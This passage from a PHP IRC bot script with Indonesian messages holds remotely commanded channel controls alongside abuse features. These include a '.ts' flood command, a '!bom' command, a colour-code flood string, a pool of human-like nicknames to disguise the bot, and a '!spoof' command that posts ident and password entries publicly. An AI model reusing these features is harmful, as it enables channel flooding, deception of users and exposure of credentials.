$modbot->add_user($fp,$fsrc[nick],$dCom[1],$dCom[2],$dCom[3]);
}
elseif ($perintah=='.deluser' && $dCom[1] && $getlvl > 1) {
$modbot->del_user($fp,$fsrc[nick],$dCom[1]);
}
############# END MULTI USER BOT ############

########## CHANGE SERVER IDENT REALNAME SERVPASS && JUMP ########
elseif ($perintah=='.server' && $dCom[1] && $getlvl > 2){
$bot['server']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging SeRVeR To '. $dCom[1]);
}
elseif ($perintah=='.servpass' && $dCom[1] && $getlvl > 2){
$bot['pserver']=$dCom[1];$bot['userver']=1;
$modbot->notice($fp,$fsrc[nick],'ChANging PassWOrD SeRVeR To '. $dCom[1]);
}
elseif ($perintah=='.ident' && $dCom[1] && $getlvl > 2){
$bot['ident']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging IdentD To '. $dCom[1]);
}
elseif ($perintah=='.vhost' && $dCom[1] && $getlvl > 2){
$bot['local']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging VhosT To '. $dCom[1]);
}
elseif ($perintah=='.realname' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,10);$Rmsg=ltrim($Rmsg);$bot['realname']=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'ChANging ReaLNaMe To '. $Rmsg);
}
elseif ($perintah=='.jump' && $getlvl > 2){
$keluar = 0;$modbot->quit($fp,$modbot->rnd_logo() .' ReSTaRt bY '.$fsrc[nick]);
}
########################## END CHG SER IDENT REAL ##########################

################################ #### ##################################
elseif ($perintah=='.botnick' && $getlvl > 1) {
$modbot->notice($fp,$fsrc[nick],'My Nick Is :'.$bot['nick']);
}
elseif ($perintah=='.identnick' && $dCom[1] && $dCom[2] && $cmdin==2 && $getlvl > 1){
$bot['inick']=$dCom[1];$bot['pnick'] = $dCom[2];
$modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']);
$modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']);
$modbot->notice($fp,$fsrc[nick],"Identify nick... to ".$dCom[1]);
}
elseif ($perintah=='.logoutnick' && $getlvl > 1){
$modbot->msg($fp,"Nickserv","logout");$modbot->notice($fp,$fsrc[nick],"Logout nick");
}
elseif ($perintah=='.basechan' && $dCom[1] && $getlvl > 2){
$bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
$modbot->part($fp,$bot['basechan'],$modbot->rnd_logo() . ' BaseChan cHanGE by ' . $frsc[nick]);
$bot['basechan']=$bchan;$modbot->join($fp,$bot['basechan']);
}
elseif ($perintah=='.botchan' && $dCom[1] && $dCom[2] && $getlvl > 3){
$bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
$modbot->part($fp,$bot['roomnet']);$bot['roomnet']=$bchan;
$bot['roomkey']=$dCom[2];$modbot->join($fp,$bot['roomnet'],$bot['roomkey']);
}
elseif ($perintah=='.userlist' && $getlvl > 1) {
$modbot->notice($fp,$fsrc[nick],'User List: '.$modbot->user_list($fp,$fsrc[nick]));
}
elseif ($perintah=='.chanlist' && $getlvl > 2) {
$datachan=str_replace(";"," ",$modbot->show_chan());$modbot->notice($fp,$fsrc[nick],$datachan);$datachan="";unset($datachan);
}
elseif ($perintah=='.nicklist' && $dCom[1] && $getlvl > 2) {
$nchan=$dCom[1];if (!ereg("#",$dCom[1])) { $nchan="#".$dCom[1]; }
$datanick=explode(" ",$modbot->show_nickchan($nchan));
for ($i = 0; $i <= count($datanick); $i++) {
$limitshow++;$lnick_x=$lnick_x.' '.$datanick[$i];
if($limitshow==15){
$lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x);$modbot->notice($fp,$fsrc[nick],$lnick_x);
$limitshow=0;$lnick_x="";
}
}
$lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x);
if($lnick_x){$modbot->notice($fp,$fsrc[nick],$lnick_x);}$lnick_x="";
unset($lnick_x);unset($datanick);
}
elseif ($perintah=='.showison' && $getlvl > 2) {$modbot->notice($fp,$fsrc[nick],$modbot->show_ison());}
elseif ($perintah=='.chanison' && $getlvl > 2) {$chanson=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChanIson cHanGe To '.$dCom[1]);}
elseif ($perintah=='.settimercycle' && $dCom[1] && $getlvl > 2) {
$timercy=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer aUtO Cycle cHanGe To '.$dCom[1].' Second');
}
elseif ($perintah=='.settimermsg' && $dCom[1] && $getlvl > 2) {
$timermsg=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer AutoMsg cHanGe To '.$dCom[1]. ' Second');
}
elseif ($perintah=='.settimeract' && $dCom[1] && $getlvl > 2) {
$timeract=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer AutoAction cHanGe To '.$dCom[1]. ' Second');
}
elseif($perintah=='.setversion' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpversi=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'VerSIoN cHanGe To '.$ctcpversi);
}
elseif($perintah=='.setfinger' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpfinger=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'FiNGeR cHanGe To '.$ctcpfinger);
}
################################ #### ##################################


######################### CONTROL BOT #######################
elseif ($perintah=='.up' && $getlvl > 1 && $cmdin==1) {
$modbot->msg($fp,"Chanserv",'Op '.$Params[2].' '.$bot['nick']);
}
elseif ($perintah=='.down' && $getlvl > 1 && $cmdin==1) {
$modbot->mode($fp,"+v-ho",$Params[2],$bot['nick'].' '.$bot['nick'].' '.$bot['nick']);
}
elseif ($perintah=='.o' || $perintah=='.h' || $perintah=='.v' || $perintah=='.do' || $perintah=='.dh' || $perintah=='.dv'){
if ($getlvl > 1){
if ($perintah=='.o' || $perintah=='.h' || $perintah=='.v'){
$moden=strtolower(substr($dCom[0],1));$moden='+'.$moden . $moden . $moden;
}
elseif ($perintah=='.do' || $perintah=='.dh' || $perintah=='.dv'){
$moden=strtolower(substr($dCom[0],2));$moden='-'.$moden . $moden . $moden;
}
if ($cmdin==1){$ttarget=$Params[2];$tforce=$dCom[1];$tmore=$dCom[2].' '.$dCom[3];}
elseif($cmdin==2){$ttarget=$dCom[1];$tforce=$dCom[2];$tmore=$dCom[3].' '.$dCom[4];}
if ($tforce) { $vonick = $tforce; }else { $vonick = $fsrc[nick]; }
$modbot->mode($fp,$moden,$ttarget,$vonick.' '.$tmore);
}
}
elseif ($perintah=='.k' || $perintah=='.kb' || $perintah=='.kc') {
if($dCom[1] && $getlvl > 1){
if ($cmdin==1){$tdata=$dCom[1];$ttarget=$Params[2];$tkode=$dCom[0].' '.$dCom[1];}
elseif($cmdin==2){$tdata=$dCom[2];$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1].' '.$dCom[2];}
$msg=substr($TxtMsg,strlen($tkode)+1); $msg=ltrim($msg);$msg=rtrim($msg);
if($perintah=='.k'){
$modbot->kick($fp,$ttarget,$tdata,$msg);
}
elseif($perintah=='.kb'){
$modbot->ban($fp,$ttarget,$tdata);$modbot->kick($fp,$ttarget,$tdata,$msg);
}
elseif($perintah=='.kc'){$modbot->kickserv($fp,$ttarget,$tdata,$msg);}
}
}
elseif ($perintah=='.b' || $perintah=='.ub') {
if($getlvl > 1){
if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];}
elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];}
$tmode=substr($TxtMsg,strlen($tkode)+1);
$tmode=ltrim($tmode);$tmode=rtrim($tmode);
if($perintah=='.b'){$modbot->ban($fp,$ttarget,$tmode);}
else{$modbot->unban($fp,$ttarget,$tmode);}
}
}
elseif ($perintah=='.j' && $dCom[1]) {
$jchan=$dCom[1];if (!ereg("#",$dCom[1])) { $jchan="#".$dCom[1]; }
$modbot->join($fp,$jchan,$dCom[2]);
}
elseif ($perintah=='.p' && $dCom[1]) {
$pchan=$dCom[1];
if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
$pmsg=substr($TxtMsg,3+strlen($dCom[1])+1);
$modbot->part($fp,$pchan,$pmsg);
}
elseif ($perintah=='.cy' && $dCom[1]) {
$pchan=$dCom[1];
if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
$pmsg=substr($TxtMsg,4+strlen($dCom[1])+1);
$modbot->Cycle($fp,$pchan,$pmsg);
}
elseif ($perintah=='.a' || $perintah=='.s') {
if($dCom[1] && $getlvl > 1){
if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];}
elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];}
$msg=substr($TxtMsg,strlen($tkode)+1);
if($perintah=='.a'){$modbot->act($fp,$ttarget,$msg);
}else{$modbot->msg($fp,$ttarget,$msg);}
}
}
elseif ($perintah=='.away'){
if($dCom[1]){$modbot->away($fp,substr($TxtMsg,6));}else{$modbot->noaway($fp);}
}
elseif ($perintah=='.n' && $dCom[1]){$modbot->nick($fp,$dCom[1]);}
elseif ($perintah=='.q' && $getlvl > 3 ){
$keluar=1;if($dCom[1]){$Qmsg=substr($TxtMsg,3);}$modbot->quit($fp,$Qmsg);$keluar=1;sleep(3);exit;
}

elseif ($perintah=='.ts' && $dCom[1] && $getlvl > 2){
$modbot->flood($fp,$dCom[1],$TxtMsg);
}
elseif($perintah=='.help'){
$modbot->mod_help($fp,$fsrc[nick]);
}
###################### END CONTROL BOT #####################

################################ SYSTEM ###################################
elseif ($perintah=='.status' && $getlvl > 2 && $cmdin==1 ){
if($dCom[1]){$chan=$dCom[1];}
else{$chan=$Params[2];}
if (!ereg("#",$chan)){$chan="#".$chan;}
$chan=strtoupper($chan);
$modb="";
if($systembot['TIME'][$chan]==" 3ON "){$modb.=' [ 4T ]iME';}
if($systembot['ASTRO'][$chan]==" 3ON "){$modb.=' [ 4A ]sTRo';}
if($systembot['PING'][$chan]==" 3ON "){$modb.=' [ 4P ]iNG';}
if($systembot['BOM'][$chan]==" 3ON "){$modb.=' [ 4B ]oM';}
if($systembot['SPOOF'][$chan]==" 3ON "){$modb.=' SPoo[ 4F ]';}
if($systembot['KSLANG'][$chan]==" 3ON "){$modb.=' [ 4K ]SlaNG';}
if($systembot['VERSION'][$chan]==" 3ON "){$modb.=' V[ 4E ]rSIoN';}
if($systembot['FINGER'][$chan]==" 3ON "){$modb.=' [ 4F ]iNGeR';}
if($systembot['ISON']['ALL']==" 3ON "){$modb.=' [ 4I ]soN';}
if($systembot['GREET'][$chan]==" 3ON "){$modb.=' [ 4G ]rEEt';}
if($systembot['AUTOAWAY']['ALL']==" 3ON "){$modb.=' AUtoA[ 4W ]ay';}
if($systembot['AUTOCYCLE'][$chan]==" 3ON "){$modb.=' AuTO[ 4C ]YcLE';}
if($systembot['AUTOJOIN'][$chan]==" 3ON "){$modb.=' AuTo[ 4J ]oIN';}
$modb=ltrim($modb);
$modb=rtrim($modb);
if($modb==""){$modb="[ 4 PA ]RKiR [ 4 NI ]c[ 4 K ]";}
$modbot->act($fp,$Params[2],'iS MODeS '.$modb.' FoR [ 2'.strtoupper($chan).' ]');
}
elseif (substr($perintah,0,2)=='.+' || substr($perintah,0,2)=='.-'){
if(substr($perintah,1,1)=='+'){$onoff=" 3ON ";}elseif(substr($perintah,1,1)=='-'){$onoff=" 4OFF ";};
$wsys=substr(strtoupper($perintah),2);
if($cmdin==1){$targetsys=$Params[2];if($dCom[1]){$targetsys=$dCom[1];}$sysok=1;}
elseif($cmdin==2 && $dCom[1]){$targetsys=$dCom[1];$sysok=1;}
if (!ereg("#",$targetsys)){$targetsys="#".$targetsys;}
if($wsys=='PING' && $sysok==1 && $getlvl > 2){
$systembot['PING'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'PING '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['PING'][strtoupper($targetsys)]).' ]');
}
if($wsys=='VERSION' && $sysok==1 && $getlvl > 2){
$systembot['VERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'VERSION '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['VERSION'][strtoupper($targetsys)]).' ]');
}
if($wsys=='TIME' && $sysok==1 && $getlvl > 2){
$systembot['TIME'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'TIME '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['TIME'][strtoupper($targetsys)]).' ]');
}
if($wsys=='FINGER' && $sysok==1 && $getlvl > 2){
$systembot['FINGER'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'FINGER '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['FINGER'][strtoupper($targetsys)]).' ]');
}
if($wsys=='ISON' && $sysok==1 && $getlvl > 2){
$systembot['ISON']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'ISON is [ 4'.strtoupper($systembot['ISON']['ALL']).' ]');
}
if($wsys=='ASTRO' && $sysok==1 && $getlvl > 2){
$systembot['ASTRO'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'ASTRO '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['ASTRO'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SPOOF' && $sysok==1 && $getlvl > 2){
$systembot['SPOOF'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SPOOF '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SPOOF'][strtoupper($targetsys)]).' ]');
}
if($wsys=='DNS' && $sysok==1 && $getlvl > 2){
$systembot['DNS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'DNS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['DNS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='BOM' && $sysok==1 && $getlvl > 2){
$systembot['BOM'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BOM '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['BOM'][strtoupper($targetsys)]).' ]');
}
if($wsys=='GREET' && $sysok==1 && $getlvl > 2){
$systembot['GREET'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GREET '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['GREET'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SMS' && $sysok==1 && $getlvl > 2){
$systembot['SMS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SMS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SMS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SLAPS' && $sysok==1 && $getlvl > 2){
$systembot['SLAPS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SLAPS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SLAPS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='KSLANG' && $sysok==1 && $getlvl > 2){
$systembot['KSLANG'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'KSLANG '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['KSLANG'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOCYCLE' && $sysok==1 && $getlvl > 2){
$systembot['AUTOCYCLE'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOCYCLE '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['AUTOCYCLE'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOJOIN' && $sysok==1 && $getlvl > 2){
$systembot['AUTOJOIN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOJOIN '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['AUTOJOIN'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOAWAY' && $sysok==1 && $getlvl > 2){
$systembot['AUTOAWAY']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOAWAY is [ 4'.strtoupper($systembot['AUTOAWAY']['ALL']).' ]');
}
if($wsys=='LISTGREET' && $dCom[1] && $dCom[2] && $getlvl > 2){
if($onoff==" 3ON "){
$ddc=strtolower($dCom[1]);$greetmsg["$ddc"]["nama"]=$dCom[1];$mgreet=str_replace($dCom[0]." ".$dCom[1]." ","",$TxtMsg);
$greetmsg["$ddc"]["msg"]=$mgreet;$modbot->notice($fp,$fsrc[nick],'Auto Greet For :'.$greetmsg["$ddc"]["nama"]);
$modbot->notice($fp,$fsrc[nick],'Auto Greet Msg :'.$greetmsg["$ddc"]["msg"]);
}else{$eel=strtolower($dCom[1]);unset($greetmsg["$eel"]["nama"]);unset($greetmsg["$eel"]["msg"]);$modbot->notice($fp,$fsrc[nick],'Delete Greet For :'.$eel);}
}
if($wsys=='LISTISON' && $dCom[1] && $getlvl > 2){
if($onoff==" 3ON "){
if($modbot->add_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is now in my list');}
else{$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is already in my list');}
}
else{if($modbot->del_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' has been deleted');}}
}
}
################################ SYSTEM ###################################

}
}
elseif (substr($Params[3],0,2)==':!'){
if (strtolower($Params[3])==':!ping' && ereg('#',$Params[2]) && $systembot['PING'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if(strtolower($dCom[1])=='me'){$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);}else {$modbot->stuf_ping($fp,$Params[2],$dCom[1]);}
}else{$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);}
}
elseif (strtolower($Params[3])==':!version' && ereg('#',$Params[2]) && $systembot['VERSION'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' VERSION ');$datversi[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datversi[strtolower($Params[4])]["chan"]=$Params[2];
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !version <nick> ');}
}
elseif (strtolower($Params[3])==':!time' && ereg('#',$Params[2]) && $systembot['TIME'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' TIME ');$dattime[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$dattime[strtolower($Params[4])]["chan"]=$Params[2];}
else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !time <nick> ');}
}
elseif (strtolower($Params[3])==':!finger' && ereg('#',$Params[2]) && $systembot['FINGER'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' FINGER ');$datfinger[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datfinger[strtolower($Params[4])]["chan"]=$Params[2];
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !finger <nick> ');}
}
elseif (strtolower($Params[3])==':!dns' && ereg('#',$Params[2]) && $systembot['DNS'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if (ereg("[a-zA-Z]", $dCom[1])) {$res = gethostbyname($dCom[1]);}
elseif (ereg("[0-9]", $dCom[1])) {$res = gethostbyaddr($dCom[1]);}
if ($res==$dCom[1]) { $res = "not resolved."; }
else { $res = "resolved to: $res ."; }
$modbot->msg($fp,$Params[2],'DNS Query for: '.$dCom[1] . ' ' .$res);
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !dns <host> ');}
}
elseif (strtolower($Params[3])==':!astro' && ereg('#',$Params[2]) && $systembot['ASTRO'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 A stro 15) '. $modbot->mod_astro($dCom[1]));
}else{
$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik :!astro <bintang>');
}
}
elseif (strtolower($Params[3])==":!spoof" && ereg('#',$Params[2]) && $systembot['SPOOF'][strtoupper($Params[2])]==" 3ON ") {
$spoofnya=strtolower($Params[4]);
if ($Params[5]<=$jmlspoof["$spoofnya"] && $Params[5]>0){
fputs($fp,'PRIVMSG '.$Params[2].' : 15( 04 S poof 15) Ident: 4' . $isisp["$Params[5]"]["$spoofnya"]["ident"] .' Spoof: 4' . $isisp["$Params[5]"]["$spoofnya"]["spoof"] .' Passw: 4' . $isisp["$Params[5]"]["$spoofnya"]["pass"].' '. CRLF);
}
else {$modbot->notice($fp,$frsc[nick],' 15( 04 S poof 15) Request Error');}
}
elseif (strtolower($Params[3])==":!kslang" && ereg('#',$Params[2]) && $systembot['KSLANG'][strtoupper($Params[2])]==" 3ON ") {
$ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
if($Params[4]<=$kmjml[strtolower($ktslsl)] && $Params[4]>0){
$nomere=$Params[4]-1;
if(strpos($kmusedan[$nomere]["definisi"][strtolower($ktslsl)],"<br>")){
$defedan=explode("<br>",$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]);
foreach ($defedan as $darredan) {
$modbot->notice($fp,$fsrc[nick],' 15( 04 A rti 15) '.$darredan);
sleep(1);
}
}
elseif($kmusedan[$nomere]["definisi"][strtolower($ktslsl)]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 A rti 15) '.$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]);
}
if(strpos($kmusedan[$nomere]["contoh"][strtolower($ktslsl)],"<br>")){
$defedan=explode("<br>",$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]);
foreach ($defedan as $darredan) {
$modbot->notice($fp,$fsrc[nick],' 15( 04 C th 15) '.$darredan);
sleep(1);
}
}
elseif($kmusedan[$nomere]["contoh"][strtolower($ktslsl)]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 C th 15) '.$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]);
}
}
else{
fputs($fp,'PRIVMSG '.$Params[2].' : 15( 04 KS lang 15) Request Error'. CRLF);
}

}
elseif (strtolower($Params[3])==':!update' && ereg('#',$Params[2]) && $Params[5]) {
$typeup=strtolower($Params[4]);
if($typeup=='spoof' && $systembot['SPOOF'][strtoupper($Params[2])]==" 3ON "){
$modbot->msg($fp,$Params[2],' 15( 04 S poof 15) Update Complete! FOUND :'.$modbot->mod_uspoof($fp,$Params[5]).' Spoof');
}
elseif($typeup=='kslang' && $systembot['KSLANG'][strtoupper($Params[2])]==" 3ON "){
$ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
$modbot->msg($fp,$Params[2],' 15( 04 KS lang 15) Update Complete! FOUND :'.$modbot->mod_uslang($fp,$ktslsl).' Arti');
}
}
elseif (strtolower($Params[3])==":!bom" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]==" 3ON ") {
$modbot->stuf_bom($fp,$Params[2],$Params[4]);
}
elseif (strtolower($Params[3])==":!potong" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]==" 3ON ") {
$modbot->stuf_potong($fp,$fsrc[nick],$Params[2],$Params[4]);
}
}
########### NET ############
elseif (substr($Params[3],0,3)==':~@' && strtolower($Params[2])==strtolower($bot['roomnet'])){
}
############################
break;
}
##[ AKHIR DATA RAW NIH ]##
}
### PERMAINAN PING PONG ###
elseif ( substr($DataLine,0,4) == 'PING' ) {$modbot->send($fp,'PONG ' . substr($DataLine,5));}
$response ="";
}
##[ End Proses Data Recv ]##
}
fclose ($fp);
unset ($fp);
$response='';
}
} while ($keluar==0);
################### [ END CONNECT ] ###################


################### [ CLASS IRC BOT ] #####################
class module_bot{
function rnd_logo(){
$nlogo=array(" 15( 1 ? 15) "," 15( 2 ? 15) ",
" 15( 3 ? 15) "," 15( 4 ? 15) ",
" 15( 5 ? 15) "," 15( 7 ? 15) ",
" 15( 12 ? 15) "," 15( 14 ? 15) "
);
return $nlogo[rand(0,count($nlogo) - 1)];
}
function rnd_nick(){
$nickbot=array("Rain", "Co^Mod", "Sang-Hati", "ceWek`sWeet", "YuSakun", "Dora-kecil", "adminchan", "Clark", "bang`tolip", "Guest",
"ritaM4nis", "Narut0", "k4k4shi", "DiAn", "ce`Manja", "ce^gresik", "ArekSMA", "[K]Desa", "^Kagome", "Kimi_No_Yume", "Utada_hikaru",
"ErrChan","As-Tech","dh4ni", "tiara-21", "mai_kuraki", "brontok", "Conan", "dora_sedih", "Bunda_Noer_a-ini", "B-Yuk^Jr", "con[a]n`xs", "A-Riise", "Lampard",
"ZumiZola", "Contiex`s", "sh[a]nie", "[A]ntI", "aRiel", "armY", "L2-Mas", "N[-]Cus", "F[and]I", "Tom`Cruise", "E-mail", "E-rix", "E-one", "shepthy",
"Sry`nTeall", "Fan7ka", "Mil`Ach", "V-Three", "G-Dank", "Die[a]ch", "Phia`e", "T-Cool", "L3ili3", "ilham_JK^n2t", "Wike", "Jaros^Jr", "Wo^[a]ini",
"Me2T", "Bud2", "Ci2K", "E-Cho^e", "O2-c", "Iy[oo]ed", "R-elf", "[Y]u[S]t", "V``Th[a]", "Mr_Superman", "Mrs_Dora", "Mr_ShamoHung", "Mrs_Ampere", "Mr_Tukul",
"Mr_Solar", "Mr_Patekul", "Mr_Tourre", "Mrs_Olief", "Ketupat^[GENDUT]", "[B]ungah", "[S]idayu", "cecep`s", "[R]aja[T]ega", "TinaToon", "kop[r]al", "Sima`S",
"Mb[o_o]let", "Marrie", "[L]ea", "chilis", "The[D]octor|II7|", "Antar_Kau_Dan_Aku", "musaddad", "danny[Z]", "Skber_Boy", "mariana", "melarat", "Cow[P]ilek",
"YbOT", "[Bot]ulism", "Franciss", "ChairilAnwar", "Reyang", "Seln", "Pak^haji", "Bu-Guru", "Hana","SnoOp",
"korupt[oooo]r", "masuda", "[R]an", "[S]hinichi", "kindaici", "pak-sby", "[J]agung", "[C]hiluc", "aisyah","BadBoy","BotEdan","Ampun-Dc","SiUsil",
"abel","JemPol","Kurt","Adit","Hendrik","Xl","Fren","Im3","DarkMoon","WhoAmI","Kiroro","SpEEd_HUnTER","Hero`s"
);
return $nickbot[rand(0,count($nickbot) - 1)];
}
function rnd_ident(){
$identbot=array("jatimcom"
);
return $identbot[rand(0,count($identbot) - 1)];
}
function rnd_real(){
$realbot=array(" 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» "
);
return $realbot[rand(0,count($realbot) - 1)];
}
function rnd_away(){
$awaybot=array(" 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");
return $awaybot[rand(0,count($awaybot) - 1)];
}
function rnd_cycle(){
$strcycle=array(" 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» "
);
return $strcycle[rand(0,count($strcycle) - 1)];
}
function rnd_flod(){
$strflod=array(" 1* kO 2pEt 3* ?! K 4oPe 5T ! ?# 6kOpE 7t # ?[ 1 KoP 9eT ] 10 ?{ kO 11pEt } 12 ?% Ko 13PeT 14% ?@ kO 15pEt @ ? 1* kOp 12Et 3* ?! Ko 4PeT 5! ?# kO 6pEt # 7 ?[ Ko 8PeT ] 9 ?{ kOp 10Et } 11 ?% Ko 12PeT 13% ?@ kO 14pEt 15@ ?* kO 1pEt 2* ?! KoP 3eT ! ? 4# kOp 5Et # ? 6[ KoP 7eT ] ?{ 8 kOp 9E t 10} ?% Ko 11PeT % ? 12@ kO 13pEt 14@ ? 1* kO 2pEt 3* ?! K 4oPe 5T ! ?# 6kOpE 7t # ?[ 8 KoP 9eT ] 10 ?{ kO 11pEt } 12 ?% Ko 13PeT 14% ?@ kO 15pEt @ ? 1* kOp 12Et 3* ?! Ko 4PeT 5! ?# kO 6pEt # 7 ?[ Ko 8PeT ] 9 ?{ kOp10Et } 11 ?% Ko 12PeT 13% ?@ kO 14pEt 15@ ?* kO 1pEt 2* ?! KoP 3eT ! ? 4# kOp 5Et # ? 6[ KoP 7eT ] ?{ 8 kOp 9E t 10} ?% Ko 11PeT % ? 12@ kO 13pEt 14@ ? 1* kO 2pEt 3* ?! K 4oPe 5T ! ?# 6kOpE 7t # ?[ 8 KoP 9eT ] 10 ?{ kO 11pEt } 12 ?% Ko 13PeT 14% ?@ kO 15pEt @ ? 1* kOp 12Et 3* ?! Ko 4PeT 5! ?# kO 6pEt #",
